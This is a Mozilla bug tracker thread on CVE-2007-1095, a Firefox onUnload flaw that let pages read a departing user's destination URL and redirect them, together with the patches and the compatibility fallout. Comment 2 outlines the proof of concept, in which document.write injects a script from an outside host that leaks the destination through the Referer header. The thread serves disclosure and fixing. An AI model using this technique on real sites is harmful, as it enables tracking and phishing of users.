Last Comment Bug 371360 - (CVE-2007-1095) [FIX]scripts can tailgate departing users with onUnload
(CVE-2007-1095)
: [FIX]scripts can tailgate departing users with onUnload
Status: RESOLVED FIXED
[sg:low spoof/info-leak] verify nsDoc...
: privacy, qawanted, verified1.8.0.14, verified1.8.1.8
Product: Core
Classification: Components
Component: Security (show other bugs)
: Trunk
: All All
: -- normal with 3 votes (vote)
: mozilla1.9alpha6
Assigned To: Boris Zbarsky [:bz]
:
Mentors:
http://lcamtuf.coredump.cx/ietrap/ff/
: 251944 371511 (view as bug list)
Depends on: 364461 387074 388579 401611 409888
Blocks: backtraps 247660 278418 356923 CVE-2007-1256 372666
  Show dependency treegraph
 
Reported: 2007-02-23 04:43 PST by Michal Zalewski
Modified: 2013-02-06 14:34 PST (History)
36 users (show)
jonas: blocking1.9+
mconnor: blocking1.8.1.3-
dveditz: blocking1.8.1.8+
dveditz: wanted1.8.1.x+
dveditz: blocking1.8.0.14+
bzbarsky: in‑testsuite?
anthony.s.hughes: in‑litmus+
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---


Attachments
Proposed patch (18.27 KB, patch)
2007-06-04 15:25 PDT, Boris Zbarsky [:bz]
no flags Details | Diff | Review
With a minor tweak (18.29 KB, patch)
2007-06-04 15:28 PDT, Boris Zbarsky [:bz]
no flags Details | Diff | Review
1.8 branch patch version (20.02 KB, patch)
2007-06-04 16:11 PDT, Boris Zbarsky [:bz]
no flags Details | Diff | Review
1.8.0 branch patch (19.94 KB, patch)
2007-06-04 16:16 PDT, Boris Zbarsky [:bz]
no flags Details | Diff | Review
Alternate approach without load stopping (12.89 KB, patch)
2007-06-05 10:34 PDT, Boris Zbarsky [:bz]
cbiesinger: review+
jst: superreview+
Details | Diff | Review
Alternate approach 1.8 branch version (14.24 KB, patch)
2007-06-14 10:33 PDT, Boris Zbarsky [:bz]
cbiesinger: review+
jst: superreview+
dveditz: approval1.8.1.8+
Details | Diff | Review
Alternate approach 1.8.0 branch version (14.10 KB, patch)
2007-06-14 10:34 PDT, Boris Zbarsky [:bz]
cbiesinger: review+
jst: superreview+
dveditz: approval1.8.0.14+
Details | Diff | Review
1.8 branch patch including the hunk from bug 364461 (8.88 KB, patch)
2007-09-13 11:23 PDT, Boris Zbarsky [:bz]
no flags Details | Diff | Review
1.8.0 branch patch including the hunk from bug 364461 (8.72 KB, patch)
2007-09-13 11:29 PDT, Boris Zbarsky [:bz]
no flags Details | Diff | Review

Description Michal Zalewski 2007-02-23 04:43:26 PST
It is possible for onUnload handler to abuse document.write(), manipulate location DOM hierarchy, read back the URL for which the user is departing, and possibly redirect the browser to a typosquatting-type phishing site instead. The user is unlikely to notice:

http://lcamtuf.coredump.cx/ietrap/ff/

I have a gut feeling that this can be abused in a far more sinister way than just redirection, although document and window hierarchies are not directly accessible. Still, this is a variant of a more serious MSIE7 vulnerability (http://lcamtuf.coredump.cx/ietrap/). The MSIE7 example behaves on FF in an interesting way by itself (we end up with a page that has a favicon and URL bar entry of the target site, Ctrl-U shows attacker-generated code, but no text is displayed).

It is my impression that onUnload/onBeforeUnload handlers shouldn't be able to effectively use document.write() or manipulate location.* (alternatively, these changes shouldn't take precedence over loading of a new document).
Comment 1 Dave Townsend [:mossop] 2007-02-24 05:01:32 PST
*** Bug 371511 has been marked as a duplicate of this bug. ***
Comment 2 Thor Larholm 2007-02-27 07:34:44 PST
This appears to be limited to URL changes as the script security context of the original page is transfered to the subsequent included script code. 

1. <body onunload="entrapment()">
2. entrapment() creates a new document through document.open(), document.write('<html><body><script src="http://lcamtuf.coredump.cx/ietrap/ff/execthere.js"></script>'), document.close()
3. execthere.js sets location.href to a CGI script which receives a HTTP_Referer header containing the URL of the page that was being navigated to.

It's not possible to reference the DOM in any way inside part 3, any references to alert/eval/document/etc throw a security error. You can't read the document.cookie or location.href properties.

If you attempt to set location.href to a relative path in step 3 instead of an absolute path then those changes are relative to the page being navigated to.

Comment 3 Martijn Wargers [:mwargers] (gone per 2016-05-31 :-( ) 2007-02-27 07:57:11 PST
So a solution would be to disable setting location on unload? Like mentioned bug 247660, comment 6.
Comment 4 Rubén Martín [:Nukeador] 2007-02-27 15:35:15 PST
Shouldn't this bug be marked as "Severity: major" ?
Comment 5 Rubén Martín [:Nukeador] 2007-03-05 02:42:59 PST
Since I personally think that this is a "Major public security bug", it would be a good idea to nominate it in order to be fixed for 2.0.0.3 (or maybe 2.0.0.4) as I read in:

http://developer.mozilla.org/devnews/index.php/2007/03/04/firefox-2003-and-2004/
Comment 6 Boris Zbarsky [:bz] 2007-03-05 07:26:01 PST
This basically allows the page to read the URL you're going to.  While unfortunate, this is not a "major public security bug".  A "major public security bug" would be a privilege escalation or remote code execution bug...

Of course the link you point to explicitly says "sg:high and sg:critical" whereas this bug is "sg:low"...
Comment 7 Mike Connor [:mconnor] 2007-03-05 10:04:38 PST
Any changes to onunload will need more baking than we have time for.  It is a fairly low level of info that is obtained, hence sg:low
Comment 8 Jordan M. 2007-03-05 14:31:41 PST
What about the re-direction aspect? It effectively re-directs my browser.
Comment 9 Jordan M. 2007-03-05 15:00:36 PST
Just thought I'd share, if network.http.sendRefererHeader is set to "0," the re-direction does not work.
Comment 10 Boris Zbarsky [:bz] 2007-03-05 15:04:54 PST
> What about the re-direction aspect?

You don't really need onunload for that.  You can always set document.location.href.

It's true that this may allow certain kinds of more-targeted spoofs if the user first goes to an evil site and then in the same window goes to a bank page or something.  So it should be fixed.  No one's arguing about it.  It just doesn't need to be fixed by tomorrow (which is what 2.0.0.3 is all about).
Comment 11 Jordan M. 2007-03-05 15:08:34 PST
(In reply to comment #10)
> > What about the re-direction aspect?
> 
> You don't really need onunload for that.  You can always set
> document.location.href.
> 
> It's true that this may allow certain kinds of more-targeted spoofs if the user
> first goes to an evil site and then in the same window goes to a bank page or
> something.  So it should be fixed.  No one's arguing about it.  It just doesn't
> need to be fixed by tomorrow (which is what 2.0.0.3 is all about).
> 
Whole-heartedly agree. I know this isn't that urgent, just no one else was speaking of it, so I thought I might direct the conversation to that aspect.
Comment 12 Thor Larholm 2007-03-07 01:43:27 PST
I can verify the comment from Jordan M, setting network.http.sendRefererHeader not only prevents the HTTP header from being sent but also prevents document.referrer from being set. In either case, you can't read the URL the user is navigating to.

The whiteboard says [sg:low spoof], but I don't agree that this is primarily a spoofing issue. The spoofing part is just one part of the original proof-of-concept, this is a generic information disclosure vulnerability. Instead of redirecting you to a spoofed version of the original site, which is highly visible, you could also be silently tracking the users surfing habits.

Comment 13 Boris Zbarsky [:bz] 2007-03-12 18:21:41 PDT
So as mentioned, one way to approach this (and bug 372666, bug 247660, bug 251944, and breaking bug 356923 completely, which I think is desirable) is to disallow all docshell operations and document.open() from inside the unload handler.  The more I think about that, the more I like it...  jst, sicking, Blake, biesi, what do you think of doing that?  Do other UAs allow any history navigation, form submission, or document.write from unload handlers?
Comment 14 Jonas Sicking (:sicking) 2007-03-13 07:44:24 PDT
To me the scary part here is that the page can read the new location. Is that something we can fix instead?
Comment 15 Boris Zbarsky [:bz] 2007-03-13 10:51:03 PDT
That doesn't address the other issues, in particular bug 372666.  It wouldn't be trivial to fix either -- by the time unload fires the docshell has the new URI.
Comment 16 Daniel Veditz [:dveditz] 2007-03-26 16:19:19 PDT
Definitely wanted on the branch, but not going to commit to it until we see the scope of the patch required when it's fixed on trunk.
Comment 17 Daniel Veditz [:dveditz] 2007-03-29 10:46:14 PDT
renominate when Gecko1.9 has the fix.
Comment 18 Leandro Pereira de Lima e Silva 2007-04-04 13:53:53 PDT
Did you saw https://bugzilla.mozilla.org/show_bug.cgi?id=251944 ?
Comment 19 Leandro Pereira de Lima e Silva 2007-04-04 13:55:58 PDT
I'm sorry, didn't noted that Boris Zbarsky had already sent this link.
Comment 20 Jonas Sicking (:sicking) 2007-04-26 17:37:48 PDT
Any chance you have cycles left for this one bz?
Comment 21 Boris Zbarsky [:bz] 2007-04-26 17:43:15 PDT
I don't have the cycles to test behavior of other UAs, for sure. 

I might have the cycles for implementing comment 13, but I franly don't know when.  At this point, "not in May".  :(
Comment 22 Jonas Sicking (:sicking) 2007-04-26 18:14:37 PDT
I actually think we should go ahead and just do this, no matter what other UAs do.
Comment 23 Boris Zbarsky [:bz] 2007-06-04 15:25:56 PDT
Created attachment 267203 [details] [diff] [review]
Proposed patch

The good:  This patch should fix this bug, bug 372666, bug 247660, bug
251944, and breake bug 356923 completely, as per comment 13.

The bad: I can't reproduce this bug on trunk (the testcase in comment 0 doesn't behave as advertised).  The patch needs a LOT of testing on these various bugs and the various other bugs that have popped up in this very fragile code.  We need testcases for mochitest, probably.  We need testing of various onunload scenarios, and we need testing of various types of channels (e.g. view-source: channels in content, javascripy: channels, etc).

The ugly:  I'm not in a position to do this testing in time to get this landed in 1.9a6 (and hence in 1.9).  So if there's anyone who can help with that, that would be much appreciated!

I'll try to put up a branch patch in a few minutes as well.
Comment 24 Boris Zbarsky [:bz] 2007-06-04 15:28:55 PDT
Created attachment 267205 [details] [diff] [review]
With a minor tweak
Comment 25 Boris Zbarsky [:bz] 2007-06-04 16:11:54 PDT
Created attachment 267213 [details] [diff] [review]
1.8 branch patch version
Comment 26 Boris Zbarsky [:bz] 2007-06-04 16:16:41 PDT
Created attachment 267214 [details] [diff] [review]
1.8.0 branch patch
Comment 27 Boris Zbarsky [:bz] 2007-06-04 20:28:00 PDT
Perhaps OnLinkClick should also be checking whether we're in the middle of unload?  Might be worth checking what happens if unload calls form.submit().
Comment 28 Boris Zbarsky [:bz] 2007-06-05 01:30:02 PDT
On branch, we might not need to stop loads like that -- we need it on trunk, I think, because javascript: loads are async and don't stop things when they start...  But on branch they're sync, so that should be OK...  worth double-checking, I guess.  :(
Comment 29 Boris Zbarsky [:bz] 2007-06-05 10:34:54 PDT
Created attachment 267292 [details] [diff] [review]
Alternate approach without load stopping

I think this should still fix all the testcases, except variants of bug 372666 on trunk.  I'll post a separate patch to cover those.

Note that the document.open change is only really needed because document.open stops existing requests in the loadgroup.  So without that change it takes two tries to navigate away from a page whose unload does document.open.  So on branch we could even skip on that, possibly...
Comment 30 Boris Zbarsky [:bz] 2007-06-05 11:02:36 PDT
Oh, and I'll hold off on branch variants of the alternate approach until I have some feedback from reviewers and testing.
Comment 31 Ryan VanderMeulen [:RyanVM] 2007-06-06 16:49:07 PDT
I've been running with this patch applied to my win32 builds for a couple days now and haven't noticed any obvious regressions so far.
Comment 32 Johnny Stenback (:jst, jst@mozilla.com) 2007-06-06 19:41:52 PDT
Comment on attachment 267292 [details] [diff] [review]
Alternate approach without load stopping

I think I prefer this approach. Less code, the stopping code looks potentially tricky to get right. r=jst for this one.
Comment 33 Ryan VanderMeulen [:RyanVM] 2007-06-12 19:34:45 PDT
Been using the alternate patch for nearly a week now with no obvious side effects.
Comment 34 Boris Zbarsky [:bz] 2007-06-14 10:33:11 PDT
Created attachment 268378 [details] [diff] [review]
Alternate approach 1.8 branch version
Comment 35 Boris Zbarsky [:bz] 2007-06-14 10:34:30 PDT
Created attachment 268379 [details] [diff] [review]
Alternate approach 1.8.0 branch version
Comment 36 Boris Zbarsky [:bz] 2007-06-14 11:18:35 PDT
Checked in on trunk.
Comment 37 Boris Zbarsky [:bz] 2007-06-18 22:23:27 PDT
Note: this exposed underlying bug 384977.  We probably need to fix that on the 1.8 branch too.  :(
Comment 38 Boris Zbarsky [:bz] 2007-06-18 22:37:13 PDT
Actually, that was already covered by bug 364461.  Still need to fix it, though.
Comment 39 Boris Zbarsky [:bz] 2007-06-28 09:07:18 PDT
Note that this also still needs some serious testing before I'd be happy putting it on branches...
Comment 40 Daniel Veditz [:dveditz] 2007-06-28 12:12:03 PDT
what kind of "serious testing"? Anything targeted, or just broadly "use lots of js-heavy sites"?
Comment 41 Boris Zbarsky [:bz] 2007-06-28 14:29:20 PDT
Comment 23 has some details about the sort of testing we need.  In addition to that, I'd test whether setting .location works in various stages of page load and unload, possibly with extensions which might be doing it at bizarre times (e.g. off of progress listener notifications).  At least if we have such extensions.  Do we?
Comment 42 Daniel Veditz [:dveditz] 2007-07-03 10:44:47 PDT
qawanted: please test this heavily on the trunk (see comment 23 and 41)
Comment 43 Daniel Veditz [:dveditz] 2007-07-10 14:48:03 PDT
Comment on attachment 268378 [details] [diff] [review]
Alternate approach 1.8 branch version

Given an accellerated 1.8.1.5 we'll have to wait for this one.
Comment 44 Boris Zbarsky [:bz] 2007-07-11 10:36:48 PDT
When landing on branches, should remember the InternalLoad change from bug   	364461.
Comment 45 Daniel Veditz [:dveditz] 2007-09-06 16:32:17 PDT
Comment on attachment 268378 [details] [diff] [review]
Alternate approach 1.8 branch version

>+interface nsIDocShell_MOZILLA_1_8_BRANCH2 : nsISupports

why a second _MOZILLA_1_8_BRANCH ? I think you could have used the original one, we're not promising not to change those, we're just using those to keep the original 1.8 branch untouched. Doesn't much matter I guess.

approved for 1.8.1.7, a=dveditz for release-drivers
Comment 46 Daniel Veditz [:dveditz] 2007-09-06 16:32:37 PDT
Comment on attachment 268379 [details] [diff] [review]
Alternate approach 1.8.0 branch version

approved for 1.8.0.14, a=dveditz for release-drivers
Comment 47 Daniel Veditz [:dveditz] 2007-09-06 16:36:44 PDT
Need another patch to incorporate the nsDocShell::InternalLoad change not checked in with bug 364461.
Comment 48 Boris Zbarsky [:bz] 2007-09-13 11:19:24 PDT
> we're not promising not to change those

As I understand it, we are promising API immutability on branch.  We can add APIs, but not change existing ones.
Comment 49 Boris Zbarsky [:bz] 2007-09-13 11:23:03 PDT
Created attachment 280770 [details] [diff] [review]
1.8 branch patch including the hunk from bug 364461
Comment 50 Boris Zbarsky [:bz] 2007-09-13 11:29:00 PDT
Created attachment 280772 [details] [diff] [review]
1.8.0 branch patch including the hunk from bug 364461
Comment 51 Boris Zbarsky [:bz] 2007-09-13 11:30:08 PDT
Checked in on both branches.
Comment 52 Martijn Wargers [:mwargers] (gone per 2016-05-31 :-( ) 2007-10-12 15:27:27 PDT
Verified fixed, using:
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.8pre) Gecko/20071006 BonEcho/2.0.0.8pre

I can see the bug in Firefox2.0.0.7.
Comment 53 Raul da Silva 2007-10-26 10:04:41 PDT
Broken "onunload" behavior?

I do an onload=document.form.submit() to submit a form when a page loads.

I then do an onunload=window.location.replace to redirect to another page.  I do this to prevent the submit page from showing up in the history and prevent a re-submit if the back button is clicked.

This no longer works. In my testing, onunload does not execute window.location.replace.
Comment 54 Raul da Silva 2007-10-26 10:10:00 PDT
onunload=window.location.replace works fine in Firefox 2.0.0.7 and earlier.  Must have been broken by this patch in 2.0.0.8.
Comment 55 Daniel Veditz [:dveditz] 2007-10-26 11:21:58 PDT
That is the intended effect of this patch. It's unfortunate for your use case, but it can also be abused to fool people into going somewhere else. IE7 also blocks this in an onunload now.
Comment 56 Boris Zbarsky [:bz] 2007-10-26 11:36:25 PDT
What Daniel said.  That is in fact the intended behavior.
Comment 57 Raul da Silva 2007-10-26 11:47:57 PDT
I tested with IE7 7.0.5730.11 and it executes window.location.replace.  Is there a newer IE I don't know about?  IE must be trapping a malicious redirect differently.

I admit it's a bit of a kludge, but the case I described is used by MANY sites to mask a submission page.
Comment 58 Boris Zbarsky [:bz] 2007-10-26 11:54:36 PDT
Interesting.  Does IE7 allow setting location.href in that situation?  I was told that it did not.
Comment 59 Boris Zbarsky [:bz] 2007-10-26 11:56:05 PDT
I do have to ask....  Did the testing I mentioned in comment 23 ever happen?  I assumed that a= meant it had.
Comment 60 Raul da Silva 2007-10-26 12:20:05 PDT
Re: Boris' question in comment #58:  I just tested onunload=location.href with IE7 7.0.5730.11.  It works as well.
Comment 61 Boris Zbarsky [:bz] 2007-10-26 12:24:14 PDT
Ah, bug 372666 comment 18 says:

> That is something Safari and Konqueror and newer versions (apparently 
> 9.1+) of Opera seem to do, but IIRC not IE.

I still think this is the right behavior for us.  There's no way to tell apart malicious and non-malicious loads in onunload, really...
Comment 62 Raul da Silva 2007-10-26 12:34:36 PDT
Yes, I noticed the same location set behavior with onunload in Safari.  So I'll take this as, "We're not gonna change it, change your code."  Right?
Comment 63 Boris Zbarsky [:bz] 2007-10-26 12:40:13 PDT
Unless magic happens somehow, probably.  It _would_ be nice to not lose IE compat here, though, if possible....
Comment 64 Raul da Silva 2007-10-26 13:06:48 PDT
Bummer... this leads to even more convoluted js code.  Security just gets more and more painful.  I'll monitor this thread in case you guys change your mind.  Thanks for your time.
Comment 65 Boris Zbarsky [:bz] 2007-10-31 10:24:43 PDT
OK.  So I've been thinking about this... perhaps we can do the following:

1)  Continue to disallow document.open from unload
2)  Allow loads to happen from unload but
    a)  Perform the loads async (that is, if InternalLoad is called during
        unload, post an event to do the actual load)
    b)  Only allow loads that are to a URI which is same-origin with the page
        being loaded when unload fires.  In particular, no javascript: URIs
        allowed.

(1) fixes this bug as originally files.  (2b) fixes bug 372666, bug 247660, bug
251944.  (2a) should allow the use cases that seem to have broken as a result of this change, right?

We'd still want to block loads if the window is being closed, I think.

Thoughts?
Comment 66 Jonas Sicking (:sicking) 2007-10-31 16:20:17 PDT
So from what I understand the intent of the usecase in comment 54 is to prevent submission pages from ending up in history. Is that still going to be the case if we do the load off an event?
Comment 67 Boris Zbarsky [:bz] 2007-10-31 21:00:02 PDT
Yes.  The history effect is due to using location.replace, which does a history-replace load.
Comment 68 Raul da Silva 2007-11-01 09:47:41 PDT
Are there any other possible side effects if doing the load asynchronously? I don't want to rob Peter to pay Paul.  If not, it works for me as long as location.replace replaces the submit page with the redirect page in the history.  Thanks for spending the time and reconsidering.

I'd be glad to thoroughly test any interim build if change is implemented.
Comment 69 Boris Zbarsky [:bz] 2007-11-01 21:50:36 PDT
> Are there any other possible side effects if doing the load asynchronously?

Yes.  If the page being loaded when unload fires has, say, a meta refresh, it's maybe possible for that to fire and cancel the load started in the unload handler.  I'm hoping this won't come up much.  ;)

I'll try to get a patch together sometime next week, but my Mozilla time is sadly pretty limited right now.  :(
Comment 70 georgi - hopefully not receiving bugspam 2007-11-02 09:30:00 PDT
(In reply to comment #65)
> In particular, no javascript: URIs allowed.
> 

data: URIs are kind of similar to javascript URIs
Comment 71 Al Billings [:abillings] 2007-12-10 17:23:16 PST
Verified for 1.8.0 with Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.0.14pre) Gecko/20071210 Firefox/1.5.0.13pre.
Comment 72 Boris Zbarsky [:bz] 2007-12-26 13:59:45 PST
I filed bug 409888 on comment 65 so we can track blocking status for it, etc.
Comment 73 Boris Zbarsky [:bz] 2008-01-25 20:09:27 PST
Raul da Silva, could you maybe retest your use case in tomorrow's trunk build (which should have the fix for bug 409888) and comment with the results?  That would be very helpful!
Comment 74 Raul da Silva 2008-01-26 08:27:58 PST
Boris- I downloaded firefox-2.0.0.12pre.en-US.win32 dated Jan 26 and tested against my use case described in comment #53. window.location.replace seems to still not be executed onunload.

Sorry for my ignorance of your build process, but I downloaded the version from http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/2008-01-26-03-mozilla1.8/... is this the correct build?  If not, please point me to the correct one and I'll gladly retest.
Comment 75 Martijn Wargers [:mwargers] (gone per 2016-05-31 :-( ) 2008-01-26 08:56:40 PST
Hi Raul, it is fixed on trunk build, so Boris asked you to test with that:
http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-trunk/
It's not fixed on the branch yet.
Comment 76 Raul da Silva 2008-01-26 09:24:10 PST
Thanks Martijn - I saw that trunk directory, but wasn't sure because it was labeled 3 beta.

I just tested with firefox-3.0b3pre.en-US.win32 from /pub/mozilla.org/firefox/nightly/latest-trunk dated 26-Jan-2008 05:58.

window.location.replace still does not execute with onunload.
Comment 77 Boris Zbarsky [:bz] 2008-01-27 10:25:57 PST
Raul, do you have a publicly available testcase that shows your problem?  The situation you describe is working for me as far as I can tell, as long as the URI passed to replace() is on the same server as the URI being navigated to when unload fired...
Comment 78 Raul da Silva 2008-01-27 21:13:16 PST
Boris-
Fill out the form (you can use bogus data) at: http://www.workday.com/resources/whitepapers/whitepaper_form.php
and submit... you will be directed to a download page.  If you hit the back button you *should* be returned to the form if window.location.replace was fired.  If it wasn't fired, when you hit the back button the form will be resubmitted and you will end up on the download page again. (note: for each retest, you must delete the 'wdcontent' cookie associated with the workday.com site)

Try the same form with IE to see 'as designed' behavior.

Thanks.

Comment 79 Boris Zbarsky [:bz] 2008-01-27 21:24:04 PST
Ah, that seems to be the same issue as bug 409888 comment 21 and following...  I hadn't realized the replace() replaced the page being _unloaded_ when I wrote comment 65.  See the details in bug 409888.

I guess it's a matter of which is worse from your point of view: the replace() doing nothing at all, or replacing the page being loaded when unload fires...  At least in the near term.  :(
Comment 80 Jonas Sicking (:sicking) 2008-01-28 02:38:27 PST
Also, what did Firefox 2 do in this regard? Did things work exactly as you want them there, or does it behave like Firefox 3 does now with the latest round of fixes?
Comment 81 Raul da Silva 2008-01-28 06:59:43 PST
Firefox 2.0.0.7 and prior work as wanted.

2.0.0.8 and later and 3 beta all function incorrectly with my testcase.
Comment 82 Raul da Silva 2008-01-29 07:43:14 PST
I guess this means we're back where we started.  If this can't be fixed, we'll need to redesign our submission functionality soon.  Because of Firefox's rising market share :-) we're getting increasingly higher rates of duplicate submissions. Let me know if anything changes.  Thanks.

Comment 83 Boris Zbarsky [:bz] 2008-01-29 20:23:15 PST
Raul, I just checked in a fix that might fix your issue (at least it does over here).  Want to try tomorrow's trunk nightly and let me know?
Comment 84 Raul da Silva 2008-01-30 14:17:56 PST
Boris-
Thanks for your continued interest in this problem... I really do appreciate it.  But unfortunately, no joy yet.  I just tested the 01/30 nightly trunk at http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-trunk/firefox-3.0b3pre.en-US.win32 and onunload is still not executing window.location.replace.
Comment 85 Boris Zbarsky [:bz] 2008-01-30 14:41:16 PST
Raul, that's very odd.  I finally got a chance to try your page, and it is indeed not fixed.  But "testcase 3" from bug 409888 is fixed, and is testing more or less what your page is doing, as far as I can tell...

I guess I'll dig more tonight.
Comment 86 Raul da Silva 2008-01-30 15:49:16 PST
Boris-
Could the problem be that the submit page we want to hide/replace is doing a post to a servlet on a server in a different domain?  Re-reading 2b in your Comment 65 lead me to think this may be the problem.  Sorry for overlooking this.
Comment 87 Raul da Silva 2008-01-30 15:50:16 PST
Boris-
Could the problem be that the submit page we want to hide/replace is doing a post to a servlet on a server in a different domain?  Re-reading 2b in your Comment 65 leads me to think this may be the problem.  Sorry for overlooking this.
Comment 88 Boris Zbarsky [:bz] 2008-01-30 16:14:57 PST
Yes, if the address that's being navigated to is not on the same server as the URI passed to replace() when unload fires, the replace() will not happen.  I'm really not sure we want to relax that restriction; if we do, we need to solve the corresponding security bugs in some other way (and mark bug 251944 wontfix).
Comment 89 Raul da Silva 2008-01-30 19:38:56 PST
Well, that's it then... and it's the one thing that we absolutely can't change.  We must post to this particular server.  I overlooked this since the replace() *is* a page on the originating server. 

Just today it was decided our site will move to a new framework in the next few months; so much functionality will be rewritten anyway.  I guess we'll just have to tough it out until then.

Just wondering, does this mean that IE is susceptible to this tailgating problem or are they trapping the problem another way?
Comment 90 Boris Zbarsky [:bz] 2008-01-30 20:08:04 PST
IE is definitely susceptible to bug 251944, last I checked.
Comment 91 Raul da Silva 2008-02-12 16:58:01 PST
This should fix the problem for those doing an onunload=replace() in the same domain.  Which will probably be the majority of the legitimate use cases.  At least your effort wasn't wasted.

Thanks again for your help.
Comment 92 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2009-07-27 13:22:44 PDT
Based on the age of QAWANTED request on this bug, is QAWANTED still wanted?
Comment 93 Boris Zbarsky [:bz] 2009-07-27 13:26:56 PDT
Yes, the tests for this still need to be written...
Comment 94 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2009-07-27 14:30:33 PDT
Is there a manual testcase that can be written for this (i.e. Litmus)? If I am right, I think no.  Based on the language of this comment thread I'm guessing only automated testing is desired (i.e. mochitests)...
Comment 95 Boris Zbarsky [:bz] 2009-07-27 14:38:45 PDT
One can write a litmnus test for this, but mochitest tests would be vastly preferable.
Comment 96 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2009-07-27 14:45:54 PDT
What would the manual test for this look like?  Code a minimized test to attempt a redirect onUnload and have the Litmus tester run the code sample?
Comment 97 Boris Zbarsky [:bz] 2009-07-27 14:51:31 PDT
There's a test linked in the url of this bug.  But there are also various comments in this bug describing the tests that are needed (in addition to that test linked in the url field).
Comment 98 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2009-07-27 15:16:00 PDT
Added a testcase to Litmus: https://litmus.mozilla.org/show_test.cgi?id=7886
in-litmus+
Comment 99 Boris Zbarsky [:bz] 2009-07-27 15:35:40 PDT
Depending on an external page for our tests is really bad form (not to mention not very future-proof....)
Comment 100 Anthony Hughes (:ashughes) [GFX][QA][Mentor] 2009-07-27 15:45:37 PDT
(In reply to comment #99)
> Depending on an external page for our tests is really bad form (not to mention
> not very future-proof....)

Yes it is.  However, our procedure for writing test cases is to get a working test case then get it checked into Litmus storage so we don't have to rely on third party URLs.  This is not possible in all cases, but we try to do this wherever possible.
Comment 101 Boris Zbarsky [:bz] 2013-02-06 06:47:12 PST
*** Bug 251944 has been marked as a duplicate of this bug. ***

Note You need to log in before you can comment on or make changes to this bug.